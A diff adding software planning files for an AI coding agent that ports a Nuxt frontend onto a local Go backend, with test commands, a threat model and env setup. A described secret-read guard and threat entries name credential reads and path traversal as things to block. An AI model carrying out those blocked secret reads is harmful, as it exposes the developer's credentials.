+    <automated>go -C ../fonoteka.go vet ./plugins/golem15/fonoteka/... &amp;&amp; go -C ../fonoteka.go test ./plugins/golem15/fonoteka -count=1 -v -run '^(TestDevStackSmoke|TestFullRouteTableAuthGroupMutualExclusivity|TestRouteTablePhase14|TestHooksRegisterWhenDatabasePublishedAfterBoot)$' &amp;&amp; go -C ../fonoteka.go test ./plugins/golem15/fonoteka/console -count=1 -v -run '^(TestReindexCommand|TestPruneNotifications|TestOAuthClientCommandListPrintsClientIDAndURIsNeverTheSecret)$'</automated>
+    <fails_when>Non-zero exit; output contains "--- FAIL", "--- SKIP" or "no tests to run"; output lacks "--- PASS: TestDevStackSmoke" or "--- PASS: TestReindexCommand".</fails_when>
+    <automated>go -C ../fonoteka.go test ./parity -count=1 -run 'TestParityCorpus' -timeout 30m</automated>
+    <fails_when>Non-zero exit; the summary line is not `recorded 175/175 passing 175 failing 0 unrecorded 0 pending 0`.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - `grep -c 'dev-seed-mcp' ../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed.go` prints at least 1, and `grep -c 'DEV_SEED_API_TOKEN' ../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed.go` prints at least 1.
+    - `grep -c 'ProvisionWishlist' ../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed.go` prints at least 1, and `grep -c 'search_use_typesense' ../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed.go` prints at least 1.
+    - `grep -l 'commandDatabase(' ../fonoteka.go/plugins/golem15/fonoteka/console/reindex.go ../fonoteka.go/plugins/golem15/fonoteka/console/oauth_client.go ../fonoteka.go/plugins/golem15/fonoteka/console/prune_notifications.go | wc -l` prints 3.
+    - `grep -c 'devMarkerRoutes(r)' ../fonoteka.go/plugins/golem15/fonoteka/routes.go` prints 1, and `grep -c 'no-store' ../fonoteka.go/plugins/golem15/fonoteka/dev_marker.go` prints at least 1.
+    - `grep -c '_dev/backend' ../fonoteka.go/parity/manifest.yaml` prints 0.
+    - `git -C ../fonoteka.go/plugins/golem15/user status --porcelain` prints nothing (the shared user plugin is unchanged).
+    - `test -f .planning/todos/pending/user-plugin-commands-open-database.md` exits 0.
+  </acceptance_criteria>
+  <done>The seed creates the full D-02 shape once and reports `unchanged` on a rerun, the marker answers only in local/dev and stays out of the manifest with the corpus at 175/175, and the three fonoteka plugin commands run without a pre-published database.</done>
+</task>
+
+<task type="auto">
+  <name>Task 3: opt-in request log — each Go request's route pattern and status reach the redacted log</name>
+  <reversibility rating="costly">`http.access_log` is a new framework config key and log record shape other applications will grep; renaming it later touches every app config and log query.</reversibility>
+  <files>modules/surf/accesslog.go, modules/surf/accesslog_test.go, modules/surf/router.go, modules/surf/README.md, docs/services/logging.md, docs/setup/configuration.md</files>
+  <read_first>modules/surf/router.go (compile, wrap, stripLocalePrefix 722-731, bufferedResponse 668-707), modules/surf/router_test.go (router construction in tests), modules/sunscreen/README.md, docs/services/logging.md, modules/lighthouse/lighthouse.go (the `app.Lookup[*slog.Logger]()` fallback pattern near line 197), modules/surf/README.md, docs/setup/configuration.md, .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-RESEARCH.md (G3, Open Question 3, Pitfall 8)</read_first>
+  <action>Per D-12 (research G3, OQ3, Pitfall 8). New `modules/surf/accesslog.go`. In `compile()`, when `r.app` and its config are non-nil and `http.access_log` is true, wrap the final handler (outside `stripLocalePrefix` and CORS) with the unexported `accessLog` middleware; when false, add no wrapper. The middleware puts a request-scoped entry into the context, serves through a status-recording `http.ResponseWriter` (first `WriteHeader` wins, default 200; keep `Flush` and `Unwrap` working for `http.ResponseController`), then logs one record. In `wrap(rt)`, add an outermost per-route step that stores `rt.method + " " + rt.path` into that entry when one is present; read the pattern from the entry, not from `r.Pattern`, because `stripLocalePrefix` can hand ServeMux a copied request whose `Pattern` the outer middleware never sees. Logger: `app.Lookup[*slog.Logger]()` when published, else `slog.Default()` (sunscreen-wrapped in generated mains). Record: level Info, message `http request`, attributes `method`, `pattern`, `status`, `duration_ms` (whole milliseconds, int64); only when the pattern is empty (ServeMux 404 or 405, CORS preflight answered before routing) add `path` set to `r.URL.Path`. Never log the query string, headers, the remote address or a matched route's raw path (share and invitation tokens travel in paths). Add no exported identifier.
+
+`accesslog_test.go` with `TestAccessLogSmoke`: a router with `http.access_log` true, a test plugin route `GET /blog/posts/{id}` and a published `*slog.Logger` writing JSON into a buffer. A request to `/blog/posts/7?token=secret` yields one record with pattern `GET /blog/posts/{id}`, status 200 and no `secret`, no `/blog/posts/7`; a request to an unknown path yields status 404 and `path` without its query string; with the key false the buffer stays empty. Use the plugin names `blog` / `acme` in fixtures.
+
+Docs in the same commit: surf README (Features bullet and a Configuration row `http.access_log`, default `false`), docs/services/logging.md (new section "Request log": opt-in key and env name, record fields, what is never logged, sunscreen still applies), docs/setup/configuration.md (row). Framework docs never name the consuming application.</action>
+  <verify>
+    <automated>go vet ./modules/surf/ &amp;&amp; go test ./modules/surf/ -count=1 -v -run '^TestAccessLogSmoke$' &amp;&amp; go test ./modules/surf/ -count=1 &amp;&amp; go test ./cmd/summer -count=1 -run '^TestDocsTree$' &amp;&amp; go run ./cmd/summer docs:build --check</automated>
+    <fails_when>Non-zero exit; output contains "--- FAIL", "--- SKIP" or "no tests to run"; output lacks "--- PASS: TestAccessLogSmoke"; docs:build --check prints any problem line.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - `grep -c 'http.access_log' modules/surf/accesslog.go` prints at least 1, and `grep -c 'duration_ms' modules/surf/accesslog.go` prints at least 1.
+    - `grep -c 'RawQuery' modules/surf/accesslog.go` prints 0.
+    - `grep -l 'http.access_log' modules/surf/README.md docs/services/logging.md docs/setup/configuration.md | wc -l` prints 3.
+    - `grep -ci 'fonoteka\|plytarium\|płytarium' modules/surf/README.md docs/services/logging.md docs/services/storage.md` prints 0 for each file.
+  </acceptance_criteria>
+  <done>With `http.access_log` on, every request produces one redacted record naming the matched route pattern and status; unmatched requests carry their path without the query; with the key off nothing changes.</done>
+</task>
+
+</tasks>
+
+<threat_model>
+## Trust Boundaries
+
+| Boundary | Description |
+|----------|-------------|
+| Operator shell → `fonoteka:dev-seed` | Environment variables decide which database is written and which credentials are seeded |
+| Browser (via Nuxt proxy) → `/storage/app/uploads/public/...` | Untrusted path segments reach the blob store on the app origin |
+| Any request → access log | Paths can carry share and invitation tokens; logs leave the process |
+| Network → marker route | Unauthenticated callers learn the backend identity |
+| Go router → parity contract | Local-run glue must not alter any manifest route |
+
+## STRIDE Threat Register
+
+| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
+|-----------|----------|-----------|----------|-------------|-----------------|
+| T-14.2-01 | Tampering | `fonoteka:dev-seed` against a production database | high | mitigate | `DevEnvironment` allow-list is exactly `local`/`dev`; the refusal runs before `commandDatabase`; an unset SUMMER_ENV resolves to `production` and is refused (TestDevStackSmoke here, TestDevSeedRefusesProduction in plan 04) |
+| T-14.2-02 | Elevation of Privilege | `mountUploads` serving uploads same-origin | high | mitigate | Opt-in key default false; `attach.StaticHandlerPublic` 404s non-public and missing rows; `X-Content-Type-Options: nosniff` on every response; the seed writes PNG only |
+| T-14.2-03 | Information Disclosure | `accessLog` record | high | mitigate | Matched routes log the pattern, never the raw path; unmatched log `r.URL.Path` without the query; no headers, no remote address; sunscreen handler stays in front; default off |
+| T-14.2-04 | Information Disclosure | marker route `GET /_fonoteka/api/v1/_dev/backend` | medium | mitigate | Registered only when `DevEnvironment` reports local or dev; absent in production; `throttle:60,1`; body carries no version or secret |
+| T-14.2-05 | Information Disclosure | seeded API token secret | medium | mitigate | Stored as `HashAPIToken` only; the secret is printed once at creation, never on reruns; `DEV_SEED_API_TOKEN` comes from the environment only |
+| T-14.2-06 | Tampering | path segments of `/storage/...` | medium | mitigate | `parsePublicBlobPath` inside `StaticHandlerPublic` rejects `..`, empty segments and partition mismatches before `NewReader` (canon path traversal, existing T-05-13 control) |
+| T-14.2-07 | Tampering | parity contract (D-10) | high | mitigate | Marker and mount stay out of `parity/manifest.yaml` and `routes.snapshot`; `TestParityCorpus` must stay 175/175/0 |
+| T-14.2-SC | Tampering | Go module and npm installs | high | mitigate | No new dependency: stdlib `image/png`, `log/slog`, existing framework modules only; package legitimacy audit not applicable (research) |
+
+ASVS L1; every high threat is mitigated with a test-backed control.
+</threat_model>
+
+<verification>
+- summercms.go: `go vet ./...` and `go test ./...` green (framework commits), `go test ./cmd/summer -run TestDocsTree` and `go run ./cmd/summer docs:build --check` clean. Config keys in docs are reviewed by hand (not checked automatically).
+- fonoteka.go: `go -C ../fonoteka.go vet ./...` and `go -C ../fonoteka.go test ./plugins/golem15/fonoteka/... -count=1` green; `TestParityCorpus` 175/175/0.
+- `git -C ../fonoteka.go status --porcelain` shows only the pre-existing submodule pointer drift (` M plugins/golem15/feedback`, `golem`, `user`), nothing staged from it.
+</verification>
+
+<success_criteria>
+- `fonoteka:dev-seed` creates the full D-02 shape in a fresh process, refuses outside local/dev, and is idempotent.
+- `storage.uploads.serve` serves a seeded cover with nosniff; `http.access_log` logs pattern and status; both documented in the same change.
+- The marker answers only in local/dev and the parity corpus is unchanged.
+- `fonoteka:reindex`, `fonoteka:oauth-client` and `fonoteka:prune-notifications` no longer need a pre-published database.
+</success_criteria>
+
+<output>
+Create `.planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-01-SUMMARY.md` when done
+</output>

.planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-02-PLAN.md

@@ -0,0 +1,334 @@
+---
+phase: 14.2-local-fonoteka-frontend-on-local-summercms-backend
+plan: 02
+type: execute
+wave: 2
+depends_on: ["14.2-01"]
+files_modified:
+  - ../fonoteka.go/scripts/dev-stack.sh
+  - ../fonoteka.go/.env.dev.example
+  - ../fonoteka.go/.gitignore
+  - ../fonoteka.go/config/storage.yaml
+  - ../fonoteka.go/config/http.yaml
+  - ../fonoteka.go/README.md
+autonomous: false
+requirements: [QA-05]
+user_setup:
+  - service: postgres
+    why: "A dedicated local database for the Go backend, never the PHP app's database (D-01, D-06)"
+    env_vars:
+      - name: SUMMER_DATABASE__DSN
+        source: "Create a database such as fonoteka_go_dev with the Polish ICU collation from fonoteka.go/README.md § Database setup; the host must be loopback (127.0.0.1 or localhost)"
+  - service: typesense
+    why: "Album search, required by the start script (D-06)"
+    env_vars:
+      - name: SUMMER_SEARCH__TYPESENSE__API_KEY
+        source: "API key of the plytarium-typesense-instance container (the value the PHP app uses as TYPESENSE_API_KEY)"
+    dashboard_config:
+      - task: "Start the container: docker start plytarium-typesense-instance"
+        location: "host shell"
+  - service: centrifugo
+    why: "Realtime through the shared host Centrifugo v6 on :8787, no dedicated instance (D-18)"
+    env_vars:
+      - name: SUMMER_REALTIME__CENTRIFUGO__TOKEN_SECRET
+        source: "/etc/centrifugo/config.json key client.token.hmac_secret_key (root-readable; the value the PHP app uses as CENTRIFUGO_SECRET)"
+      - name: SUMMER_REALTIME__CENTRIFUGO__API_KEY
+        source: "/etc/centrifugo/config.json key http_api.key (the value the PHP app uses as CENTRIFUGO_API_KEY)"
+  - service: fonoteka-go
+    why: "Boot secrets and paths for the local Go binary (D-08)"
+    env_vars:
+      - name: SUMMER_APP__KEY
+        source: "Output of `fonoteka key:generate` (base64 of 32 bytes)"
+      - name: SUMMER_GOLEM15__USER__JWT__SECRET
+        source: "Any random string of 32+ bytes, e.g. `openssl rand -base64 48`"
+      - name: SUMMER_ADMIN__JWT__SECRET
+        source: "Any random string of 32+ bytes, e.g. `openssl rand -base64 48`"
+      - name: DEV_STACK_NUXT_DIR
+        source: "Absolute path of the vue-fonoteka-app checkout (/media/nvme/dev/golem15/fonoteka/vue-fonoteka-app on this machine)"
+estimate:
+  tokens: 180000
+  raw_tokens: 180000
+  tasks: 4
+  confidence: low  # uncalibrated (factor 1, sample_count 0); 1 of 4 tasks is the env-file checkpoint; plan count locked at 4 by D-22
+must_haves:
+  truths:
+    - "Per D-05 and D-22, `scripts/dev-stack.sh up` runs, in this order: env check, service checks, a `summer` CLI built from `../summercms.go` source, `summer build`, `fonoteka migrate`, `fonoteka fonoteka:dev-seed`, `fonoteka fonoteka:reindex`, `fonoteka serve`, the guard, `pnpm dev` in `DEV_STACK_NUXT_DIR`, and the post-start probe; no docker compose and no dedicated Centrifugo is started (D-18)."
+    - "Per D-06, the script refuses to start and names the service when Postgres (`pg_isready`), Typesense (`/health`) or Centrifugo (`POST <api_url>/info` with the API key) is unreachable or rejects the key; a Centrifugo that rejects the origin `http://localhost:3119` produces a `warn:` line naming the operator step (D-18)."
+    - "Per D-23, `check` (and `up`) probes each realtime namespace in `DEV_STACK_CENTRIFUGO_NAMESPACES` (default `user collection wishlist`) read-only through the Centrifugo HTTP API, `POST <api_url>/history` with `{\"channel\":\"<ns>:dev_stack_probe\",\"limit\":0}`, and prints exactly one `warn: centrifugo namespace <ns> missing` line for every namespace answered with error code 102 (unknown channel); any other answer counts as present, a configured namespace (`user`) is never reported, warnings never refuse, and the script never reads `/etc/centrifugo/config.json` or calls `publish`. The subscribe permission (`allow_subscribe_for_client`) is not observable through the server API; the README states this limitation and plan 03's realtime spec proves the `collection:` subscribe."
+    - "Per D-07, Go serves on `127.0.0.1:8423` (`DEV_STACK_GO_ADDR`), loopback only; an address on port 8422 or a non-loopback host is refused."
+    - "Per D-08 (edge: empty), the script loads the git-ignored env file (`DEV_STACK_ENV_FILE`, default `fonoteka.go/.env.dev`), refuses when it is missing or not git-ignored, and prints one `missing: <KEY>` line for every required key that is unset or empty before refusing; `.env.dev.example` holds placeholders only."
+    - "Per D-08, `pnpm dev` receives `NUXT_DEV_BACKEND_ORIGIN`, `NUXT_INTERNAL_API_ORIGIN`, `NUXT_PUBLIC_CENTRIFUGO_WS_URL` and an empty-by-default `NUXT_PUBLIC_FEEDBACK_WIDGET_KEY` as process environment, and the script writes no file inside `DEV_STACK_NUXT_DIR`."
+    - "Per D-09 (edge: boundary), `dev-stack.sh guard` refuses an origin on port 8422 by the port rule before any network call, refuses a host other than localhost, 127.0.0.1 or ::1 (so any plytarium.com value), and accepts any other loopback port only when its marker answers `\"backend\":\"summercms\"` without an `X-Powered-By: PHP` header."
+    - "Per D-09 (edge: adjacency), `guard` refuses when `NUXT_INTERNAL_API_ORIGIN` is unset or empty, when it differs from `NUXT_DEV_BACKEND_ORIGIN` after trailing-slash normalisation, or when either differs from `http://$DEV_STACK_GO_ADDR`; identical values pass the origin rules."
+    - "Per D-09 and D-03, the post-start probe gets the marker JSON through `http://localhost:3119/_fonoteka/api/v1/_dev/backend`, a 401 from `http://localhost:3119/_fonoteka/api/v1/albums`, and 200 `image/png` for the first seeded cover URL through the Nuxt `/storage` proxy; any miss refuses and stops both processes."
+    - "Per D-12, Go and Nuxt output is prefixed `[go] ` / `[nuxt] ` and tee'd into `tmp/dev-stack/go.log` and `tmp/dev-stack/nuxt.log`; the run docs tell the developer to watch them for 4xx/5xx and 404 responses."
+    - "(edge: idempotency) `up --detach` on a stack this script already started (pid file alive, marker answering) prints `already up` and exits 0; `:8423` or `:3119` held by any other process is refused; `down` with nothing recorded is a no-op that exits 0."
+    - "(edge: concurrency) `up` in the foreground stops both process groups and removes the pid file on Ctrl-C, TERM or any failure (EXIT trap); a second concurrent `up` is refused by the port checks."
+    - "(edge: ordering) `fonoteka:reindex` runs only after `fonoteka:dev-seed` has turned `search_use_typesense` on, and `pnpm dev` starts only after the guard passed."
+    - "`dev-stack.sh e2e-verdict <report.json>` refuses a Playwright JSON report unless `stats.expected > 0`, `stats.unexpected == 0`, `stats.skipped == 0` and `stats.flaky == 0` (research G7: a skip is how a misconfigured backend shows up)."
+  artifacts:
+    - path: "../fonoteka.go/scripts/dev-stack.sh"
+      provides: "up [--detach] | down | status | check | guard | exec | e2e [--report-only] | e2e-verdict"
+      contains: "_dev/backend"
+    - path: "../fonoteka.go/.env.dev.example"
+      provides: "placeholder template of every key the script requires (D-08)"
+      contains: "NUXT_INTERNAL_API_ORIGIN"
+    - path: "../fonoteka.go/.gitignore"
+      provides: "ignores the dev env file and the seeded uploads"
+      contains: "/storage/app/uploads/public/"
+    - path: "../fonoteka.go/README.md"
+      provides: "run docs: prerequisites, Centrifugo v6 operator step (origins and the D-23 namespaces), subcommands, logs, MCP pointing"
+      contains: "dev-stack.sh"
+  key_links:
+    - from: "../fonoteka.go/scripts/dev-stack.sh"
+      to: "../fonoteka.go/plugins/golem15/fonoteka/dev_marker.go"
+      via: "guard and post-start probe GET /_fonoteka/api/v1/_dev/backend directly and through the Nuxt proxy"
+      pattern: "_dev/backend"
+    - from: "../fonoteka.go/scripts/dev-stack.sh"
+      to: "../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed.go"
+      via: "up runs bin/fonoteka fonoteka:dev-seed and reads the first cover URL from its output"
+      pattern: "fonoteka:dev-seed"
+    - from: "../fonoteka.go/scripts/dev-stack.sh"
+      to: "/media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/nuxt.config.ts"
+      via: "pnpm dev with NUXT_DEV_BACKEND_ORIGIN and NUXT_INTERNAL_API_ORIGIN pinned to the Go origin"
+      pattern: "NUXT_INTERNAL_API_ORIGIN"
+  prohibitions:
+    - requirement_id: QA-05
+      category: safety
+      statement: "dev-stack.sh MUST NOT write, copy, move or edit any file inside the vue-fonoteka-app checkout; the developer's PHP-targeted Nuxt setup stays intact"
+      status: resolved
+      verification: test
+    - requirement_id: QA-05
+      category: transparency
+      statement: "The local stack MUST NOT fall through to PHP or the production origin: Nuxt is never started unless the guard proved the configured origin is the local Go binary"
+      status: resolved
+      verification: test
+    - requirement_id: QA-05
+      category: safety
+      statement: "dev-stack.sh MUST NOT read or edit /etc/centrifugo/config.json, restart the shared Centrifugo or start a second instance; adding the Nuxt origin and the `collection` / `wishlist` namespaces stays a documented operator step (D-18, D-23), and the namespace probe uses only the read-only `history` API method"
+      status: resolved
+      verification: test
+---
+
+## Phase Goal
+
+**As a** developer, **I want to** run the existing `vue-fonoteka-app` locally against the local `fonoteka.go` SummerCMS backend (not PHP), log in and use the real Nuxt flows, **so that** the port is proven in daily use before production cutover.
+
+This plan's slice: one command starts the whole stack. After it, `scripts/dev-stack.sh up` brings Go and Nuxt up together on host services, refuses to run when anything would reach PHP or production, and the README explains the local run end to end.
+
+<objective>
+Deliver D-22 plan 02: `fonoteka.go/scripts/dev-stack.sh` (D-05, D-06, D-07, D-08, D-09, D-12, D-18, D-23), `.env.dev.example`, the `.gitignore` entries, the app config defaults for the two new framework keys, and the run docs.
+
+Purpose: plan 03 runs Playwright through `dev-stack.sh e2e`, plan 04's gate exercises `dev-stack.sh guard` refusals and the e2e verdict.
+Output: fonoteka.go commits only (script, template and ignores, config defaults, README). No framework change.
+</objective>
+
+<execution_context>
+@~/.claude/gsd-core/workflows/execute-plan.md
+@~/.claude/gsd-core/templates/summary.md
+</execution_context>
+
+<context>
+@.planning/PROJECT.md
+@.planning/ROADMAP.md
+@.planning/STATE.md
+@.planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-CONTEXT.md
+@.planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-RESEARCH.md
+@.planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-01-SUMMARY.md
+@../fonoteka.go/README.md
+
+<interfaces>
+- From plan 01: `bin/fonoteka fonoteka:dev-seed` prints `<entity>: created|updated|unchanged` lines; cover lines end with the public URL `/storage/app/uploads/public/<partition>/<disk_name>`. Marker: `GET /_fonoteka/api/v1/_dev/backend` → 200 `{"backend":"summercms","app":"fonoteka","env":"local"}` in local/dev only. Framework keys: `SUMMER_STORAGE__UPLOADS__SERVE`, `SUMMER_HTTP__ACCESS_LOG` (both default false). `fonoteka:reindex`, `migrate` and `serve --addr` open their own database.
+- Config is cwd-relative (`compass.Load("config")` in main.go; bucket `file://./storage/app/uploads/public`): every `bin/fonoteka` call runs with cwd = fonoteka.go. Compass reads `fonoteka.go/.env` automatically but not `.env.dev`, so the script exports it (`set -a`; source; `set +a`).
+- `summer` is not on PATH for scripts and `~/go/bin/summer` may be stale: build it with `go -C <framework> build -o tmp/dev-stack/summer ./cmd/summer`, then run `summer build` with cwd = fonoteka.go (writes `bin/fonoteka`).
+- Nuxt (nuxt.config.ts): `NUXT_DEV_BACKEND_ORIGIN` read once at config load (default `http://localhost:8000`); `internalApiOrigin` falls back to `NUXT_DEV_BACKEND_ORIGIN`, then `NUXT_PUBLIC_SITE_URL`, then `https://plytarium.com`; dev port `NUXT_PORT || 3119` and silently moves to another port when 3119 is taken; proxied prefixes `/_user/api`, `/_journal/api`, `/_fonoteka/api`, `/_feedback/api`, `/plugins/golem15/feedback`, `/api/realtime`, `/storage`. Env exported on the `pnpm dev` process wins over `vue-fonoteka-app/.env` (c12 only fills unset keys).
+- Playwright (playwright.config.ts): loads `tests/e2e/.env.local` then `tests/e2e/.env` without overriding exported variables; `baseURL = E2E_FRONTEND_URL || http://127.0.0.1:3119`; `webServer.reuseExistingServer = !process.env.CI`; JSON reporter output via `PLAYWRIGHT_JSON_OUTPUT_NAME`. `fonotekaReachable()` probes `E2E_BACKEND_URL` (default `http://localhost:8422`).
+- Centrifugo v6 (D-18): shared systemd instance on :8787, HTTP API `POST /api/info` with header `X-API-Key`, WebSocket `/connection/websocket`; a WebSocket upgrade with a disallowed `Origin` is rejected (403).
+- Centrifugo v6 server API errors (D-23) [CITED: centrifugal.dev/docs/server/server_api, /docs/server/channels]: HTTP 200 with a body `{"error":{"code":N,"message":"..."}}`. `POST /api/history` with `{"channel":"<ns>:dev_stack_probe","limit":0}` answers code 102 `unknown channel` when namespace `<ns>` is not defined, code 108 `not available` when it exists without history, and a `result` when history is on; it is read-only and publishes nothing. Namespaces live in the `channel.namespaces` array of the v6 config; today the shared instance defines `user` but not `collection` or `wishlist` (D-23).
+- Local PHP stamps `X-Powered-By: PHP/8.5.10` on every response and has no route at the marker path; Go never sets that header.
+- The Bash secret-read guard blocks any shell command that names the dev env file (anything matching `.env.<suffix>` other than `.env.example`-style templates). Go through `dev-stack.sh` subcommands; edit `.gitignore` with the Edit tool; never print, cat or grep the env file.
+</interfaces>
+</context>
+
+## Artifacts this phase produces
+
+(This plan's share.)
+
+- `fonoteka.go/scripts/dev-stack.sh` subcommands: `up [--detach]`, `down`, `status`, `check`, `guard`, `exec -- <command...>`, `e2e [--report-only] <spec...>`, `e2e-verdict <report.json>`.
+- Script environment knobs: `DEV_STACK_ENV_FILE` (default `<app>/.env.dev`), `DEV_STACK_GO_ADDR` (default `127.0.0.1:8423`), `DEV_STACK_NUXT_DIR` (required), `DEV_STACK_FRAMEWORK_DIR` (default `<app>/../summercms.go`), `DEV_STACK_CENTRIFUGO_NAMESPACES` (default `user collection wishlist`, D-23).
+- Runtime files under `fonoteka.go/tmp/dev-stack/`: `go.log`, `nuxt.log`, `pids`, `summer`, `e2e-<timestamp>.json`.
+- Variables exported by `exec`/`e2e`: `E2E_BACKEND=go`, `E2E_GO_BIN=<app>/bin/fonoteka`, `E2E_GO_DIR=<app>`, `E2E_BACKEND_URL=http://$DEV_STACK_GO_ADDR`, `E2E_FRONTEND_URL=http://localhost:3119`, `E2E_CENTRIFUGO=1`, `E2E_EMAIL`/`E2E_PASSWORD` (env file values, else `demo@example.com` / `changeme`), the four `NUXT_*` values, with `CI` unset.
+- `fonoteka.go/.env.dev.example` (placeholders), `.gitignore` lines `/.env.dev` and `/storage/app/uploads/public/`.
+- App config defaults `storage.uploads.serve: false` (config/storage.yaml) and `access_log: false` (config/http.yaml).
+- README section "Running locally with the Nuxt app".
+
+## Assumptions
+
+- `pg_isready`, `curl`, `jq`, `python3`, `ss` and `setsid` are on PATH (verified during planning).
+- The developer fills the git-ignored env file from this plan's `user_setup` list at the Task 1 checkpoint (`checkpoint:human-action`, `gate="blocking-human"`), so the plan is not autonomous. The executor never reads, prints or greps that file or `/etc/centrifugo/config.json`. Completeness is checked by Task 2's `check_keys`, which prints key names only.
+- Adding `http://localhost:3119` to Centrifugo's allowed origins and the `collection` / `wishlist` namespaces (D-23) is a plan 03 human-action checkpoint; until then `check` prints the origin `warn:` line and one `warn: centrifugo namespace <ns> missing` line per missing namespace, and realtime stays off, which does not block this plan.
+
+<tasks>
+
+<task type="checkpoint:human-action" gate="blocking-human">
+  <name>Task 1: developer creates the git-ignored dev env file, the Go dev database and starts Typesense</name>
+  <read_first>This plan's `user_setup` frontmatter (every key and where its value comes from), ../fonoteka.go/README.md (§ Database setup), .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-CONTEXT.md (D-06, D-08, D-18)</read_first>
+  <action>Per D-06, D-08 and D-18, the developer creates `fonoteka.go/.env.dev` holding every `user_setup` variable of this plan plus the fixed local values listed below, creates the Go dev database and starts Typesense. The secret values come from the root-readable Centrifugo config and the developer's own setup. The executor must never read, print, cat or grep `/etc/centrifugo/config.json` or the dev env file; the Bash secret-read guard blocks that too.</action>
+  <instructions>
+    Claude has done nothing yet in this plan. The first automated task (Task 2) starts the real stack and needs secrets only a person can read: the HMAC secret and API key of the shared Centrifugo (root-owned config), the Typesense API key and a database password.
+    The one human step, in a shell:
+    1. Create a separate Postgres database for Go (for example `fonoteka_go_dev`) with the Polish ICU collation from fonoteka.go/README.md § Database setup, on 127.0.0.1 or localhost. Never use the PHP app's database.
+    2. Run `docker start plytarium-typesense-instance` (port 8181).
+    3. Create `fonoteka.go/.env.dev`. Task 2 adds it to `.gitignore` before anything is staged, and every commit stages explicit paths only. Set these keys:
+       - Secrets, with sources as in `user_setup`: SUMMER_DATABASE__DSN, SUMMER_APP__KEY, SUMMER_GOLEM15__USER__JWT__SECRET, SUMMER_ADMIN__JWT__SECRET, SUMMER_SEARCH__TYPESENSE__API_KEY, SUMMER_REALTIME__CENTRIFUGO__TOKEN_SECRET (= `client.token.hmac_secret_key`), SUMMER_REALTIME__CENTRIFUGO__API_KEY (= `http_api.key`).
+       - Fixed local values: SUMMER_ENV=local, SUMMER_APP__URL=http://localhost:3119, SUMMER_STORAGE__UPLOADS__SERVE=true, SUMMER_HTTP__ACCESS_LOG=true, DEV_STACK_GO_ADDR=127.0.0.1:8423, SUMMER_REALTIME__CENTRIFUGO__API_URL=http://127.0.0.1:8787/api, DEV_STACK_NUXT_DIR=/media/nvme/dev/golem15/fonoteka/vue-fonoteka-app, NUXT_DEV_BACKEND_ORIGIN=http://127.0.0.1:8423, NUXT_INTERNAL_API_ORIGIN=http://127.0.0.1:8423, NUXT_PUBLIC_CENTRIFUGO_WS_URL=ws://localhost:8787/connection/websocket.
+       - Optional: E2E_EMAIL, E2E_PASSWORD (else `demo@example.com` / `changeme`), DEV_SEED_API_TOKEN, NUXT_PUBLIC_FEEDBACK_WIDGET_KEY.
+    Task 2 commits `.env.dev.example` with the same keys as placeholders for later setups. Adding `http://localhost:3119` to Centrifugo's allowed origins is not part of this step; it is the plan 03 Task 2 checkpoint.
+  </instructions>
+  <verification>Without opening the env file: `docker ps --filter name=plytarium-typesense-instance --filter status=running --format '{{.Names}}'` prints the container name and `curl -fsS http://localhost:8181/health` succeeds. The env file's presence, git-ignore status and completeness are checked by Task 2's `load_env` and `check_keys`, which print `missing: <KEY>` names only, never values.</verification>
+  <resume-signal>Type "env ready" once the env file, the database and Typesense are in place, or describe the problem.</resume-signal>
+</task>
+
+<task type="tracer">
+  <name>Task 2 (tracer): `dev-stack.sh up --detach` brings Go and Nuxt up and the Go marker and a seeded cover answer through Nuxt's proxy</name>
+  <precondition>Task 1 is resolved ("env ready"): the developer has created fonoteka.go's git-ignored dev env file with every `user_setup` variable of this plan set, the Postgres dev database exists, and `plytarium-typesense-instance` is running.</precondition>
+  <files>../fonoteka.go/scripts/dev-stack.sh, ../fonoteka.go/.env.dev.example, ../fonoteka.go/.gitignore, ../fonoteka.go/config/storage.yaml, ../fonoteka.go/config/http.yaml</files>
+  <read_first>../fonoteka.go/.gitignore, ../fonoteka.go/config/storage.yaml, ../fonoteka.go/config/http.yaml, ../fonoteka.go/config/realtime.yaml, ../fonoteka.go/config/search.yaml, ../fonoteka.go/README.md (Database setup, Configuration), ../fonoteka.go/main.go (compass.Load), cmd/summer/main.go (buildCommand cwd), cmd/summer/runtime.go (bin output), /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/nuxt.config.ts (lines 30, 44-52, 110-113, 128, 155, 247-266, 364-372, 392-401), /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/.env.example (key names only), scripts/check-phase14.2.1.sh (header and structure style), .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-RESEARCH.md (Q3, Q4, Q5, Q7, Pattern 4, Pattern 5, Pitfalls 5-6)</read_first>
+  <action>Write `scripts/dev-stack.sh` (bash, `set -euo pipefail`, `unset FORCE_COLOR`, header comment describing every subcommand). APP is the script's parent directory; FRAMEWORK is `${DEV_STACK_FRAMEWORK_DIR:-$APP/../summercms.go}`; RUN is `$APP/tmp/dev-stack` (already git-ignored through `/tmp/`). This task implements the happy path of `up [--detach]` and `down`, with these functions, in this order (D-05):
+
+1. `load_env` (D-08): refuse when `${DEV_STACK_ENV_FILE:-$APP/.env.dev}` is missing; when the file is inside APP refuse unless `git -C "$APP" check-ignore -q` accepts it; export it with `set -a` / `set +a`; force `SUMMER_ENV=local` when unset and refuse any value other than `local` or `dev`; default `DEV_STACK_GO_ADDR` to `127.0.0.1:8423` and refuse a non-loopback host or port 8422 (D-07).
